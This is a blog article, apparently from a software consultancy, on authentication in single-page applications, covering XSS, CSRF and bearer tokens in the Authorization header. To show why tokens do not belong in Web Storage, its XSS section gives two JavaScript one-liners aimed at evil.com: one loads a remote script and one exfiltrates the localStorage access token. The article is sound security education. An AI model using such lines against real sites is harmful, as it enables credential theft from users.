
Authentication in Single Page Application. Part 1
Each year Single Page Applications (SPA) become more and more widespread. And even if an application is not truly a SPA the amount of JavaScript-driven features continues to increase.
At some point, developers start to think about alternative ways to authentication. Either because they want simpler and more elegant approaches or they think that old and existing ones are not suitable for SPA.
This article is divided into two parts.
Part 1 covers:
- The subject
- Authorization header authentication
Part 2 covers:
- Cookie-based authentication
- Advanced protection techniques
- Is Ruby on Rails suitable for modern SPA?
Part 1.
Understanding the subject
Sometimes terms can be confusing. So let’s make it clear what we are talking about here.
authentication is the act of proving that something is genuine, real or true or the process or action of verifying the identity of a user or process.
to authenticate is to prove or show something to be true, genuine, or valid or have one's identity verified.
authorization is an official permission or power to do something; the act of giving permission or a document that gives somebody official permission to do something.
to authorize is to give official permission for something, or for somebody to do something.
Thus when we say authentication we talk about proving the authenticity of a user or a request. And we say authorization we talk about permissions or verification of such permissions.
The major part of this article is dedicated to authentication.
Common attack vectors
There’s a plethora of attacks on web applications. We’ll focus on those which are directly related to authentication.
The list of common attacks on authentication mechanisms includes:
- Bypass authentication
- Cross-site Scripting (XSS)
- Cross-site request forgery (CSRF)
- Steal or forge authentication credentials
- Cross-site Scripting (XSS)
- Cookie spoofing via cookie overflow
- Cookie forgery in HTTP to HTTPS redirect
- Utilize application-specific or protocol-specific bugs in authentication implementations
Cross-site Scripting (XSS)
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.
The two ways of implementing XSS are either injecting a script into server-stored data which is then rendered for a user (Stored aka Persited aka Type-I XSS) or injecting a script directly into a request (URL params for GET and body for POST) and forcing user to make the request (follow the link or submit a form) (Reflected aka Non-Persistent aka Type-|| XSS and DOM-based aka Type-0 XSS).
You can learn more about how XSS works and how to protect against it on https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) if you’re not familiar with this kind of attacks.
The most common answer regarding XSS goes like this: when you have an XSS on your site you’re done. It’s justified by the fact that XSS practically gives the full application privileges.
But not all XSS vulnerabilities are created equal.
And there are two things we can assert:
- the more sophisticated XSS attack the more code it requires.
- severity depends on who are the first (user) and third (attacker) parties.
Severity vs. the amount of code
Making requests, creating phishing forms, etc. requires some amount of code. And XSS vulnerability doesn’t necessarily allow enough code to be injected to do anything useful. Though it’s possible to just load an external script with a line of JavaScript:
document.body.appendChild(document.createElement('script')).src = "http://evil.com/0.js"
But it immediately requires more resources and effort to perform such an attack. The same goes for implementing complex logic which may require interaction with attacker’s server and additional server-side software.
That’s why the most severe case is when it’s possible to steal credentials with a line of code:
document.body.appendChild(new Image()).src = "http://evil.com/0.png?_=" + localStorage.getItem("accessToken")
And that is why one should not store credentials in Web Storage.
By restricting the access to a specific IP (the token was issued for) and user-agent and issuing short-lived token using non-js-readable refresh token it’s possible to mitigate some attacks though it won’t help against an attacker with enough effort.
Severity vs. the responsibility scope
To perform an XSS attack a third-party should have any interest in doing so. And it’s not always the case for some kinds of applications.
Responsibility scope is the amount of responsibility a party has in regard to the application. Example scopes can be developers, administrators, moderators, users, guests, etc. It can be assumed that admins, developers, or other kinds of employees don’t, in general, have a direct interest in performing XSS attacks as they are paid by the application owner to keep the application in good shape.
For example, giving two scenarios, one where an admin can inject a script for any (or a particular) user and where a user can inject a script into an admin panel via user content, the latter is much more severe because a user can obtain admin-like access in the system whereas in the former case admins already have the control over user data and can do things without XSS.
An internal application behind a firewall and dedicated to a limited group of well-known users is quite a common case. For example, a CMS accessed by a dozen admins whereas the actual site with thousands of visitors is a separate read-only application (like a news site or blog).
Responsibility scope should be taken into account when evaluating the severity of XSS in an application as it may affect the number of resources and effort and the overall architecture of the application.
Authorization header
Authorization header is an HTTP request header meant to provide access credentials in an HTTP request. The usage is the following:
Authorization: <credentials>
Where credentials can be anything. Yes, the standard (https://tools.ietf.org/html/rfc7235#section-4.2) does not force you to specify the type or anything else. But to be compatible with other existing standards (for example, the Basic Authentication scheme, https://tools.ietf.org/html/rfc7617) it is commonly used and is strongly advised to use the following format:
Authorization: <type> <credentials>
Some of the known and officially standardized types are:
- Basic (see RFC 7617, base64-encoded credentials)
- Bearer (see RFC 6750, from OAuth 2.0 spec)
- Digest (see RFC 7616)
- HOBA (see RFC 7486 (draft), HTTP Origin-Bound Authentication, digital-signature-based)
- Mutual (draft-ietf-httpauth-mutual)
- AWS4-HMAC-SHA256 (AWS)
And the most common type which is used widely in OAuth 2.0 and vendor-specific implementations is Bearer token:
Authorization: Bearer <token>
When it’s used in a Single Page Application the token is usually stored in Web Storage (the common name of localStorage and sessionStorage).
Is it enough to use Authorization: Bearer <token> to stay secure?
Security is a very tough topic and it’s always hard to say if something is entirely secure or not. To be able to analyze the security of some or another approach we would have to make some assumptions and focus on the things which are directly related to the analyzed approach first.
So let's assume the following:
- All tokens are cryptographically secure random strings or by other means, it’s impractical to guess or forge them (e.g. they are reliably encrypted).
- All requests are sent via TLS/SSL connection (HTTPS) and can’t be eavesdropped.
- All application logic and protocol implementations work as expected and any bugs are out of the scope of this article.
Though it’s always possible to break even strong cryptography it requires such an enormous amount of resources that we assume the attack against the aforementioned measures is completely impractical.
That being said some of the attacks not related to the topic can be excluded and it leaves the following to focus on:
- Bypass authentication
- Cross-site Scripting (XSS)
- Cross-site request forgery (CSRF)
- Steal or forge authentication credentials
- Cross-site Scripting (XSS)
- Cookie spoofing via cookie overflow
Because for now, we focus on Authentication header as the only authentication method we don’t care about cookies. So only XSS and CSRF are left.
Authorization header and CSRF
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.
You can read more about CSRF on https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) if you’re not familiar with this kind of attacks.
How do we know if a header can be forced along with an unwanted action? Gladfully there’s a standard which happens to describe exactly what can and can’t be done by a browser from another web application (cross-site). The standard of Cross-Origin Resource Sharing (CORS) contains a description of a “simple cross-origin request”.
A simple cross-origin request has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification.
Which means that it perfectly describes requests susceptible to CSRF attack. To save you from reading the whole spec, a simple cross-origin request is a request which uses only simple methods and simple headers.
Simple methods are GET, HEAD, POST.
Simple headers are Cache-Control, Content-Language, Expires, Last-Modified, Pragma, and additionally Content-Type of only application/x-www-form-urlencoded, multipart/form-data, or text/plain.
Authorization header is not in the list of simple headers. Thus a request with Authorization header is not a simple cross-origin request. And thus a request with Authorization header requires a preflight request by default. Only explicitly allowed origins are able to make such a request successfully (or the origin of the web application itself per same-origin policy). As long as you don’t add “Access-Control-Allow-Origin: *” to responses you’re safe from CSRF when using Authorization header.
CSRF ✔
Authorization header and XSS
When Authorization header is used for authentication the credentials need to be stored somewhere and the storage needs to be JavaScript-accessible unless we want a user to login on each visit (page reload). So no matter the way we store it (Web Storage, Cookie, IndexedDB, etc.) the token is exposed to any JavaScript being executed and thus for any XSS as well. As we learned from XSS section of the article, it’s only plausible for specific kinds of applications where the severity of XSS itself if not very high.
XSS ✗
If you have a small application for a well-known group of users then Authorization header is a nice and simple way. But if you need a higher level of security and you really care about your users’ data you’d need something stronger. Read about more secure approaches and how to apply them to SPA in Part 2 of the article.
Let's meet Svitla
We look forward to sharing our expertise, consulting you about your product idea, or helping you find the right solution for an existing project.
Your message is received. Svitla's sales manager of your region will contact you to discuss how we could be helpful.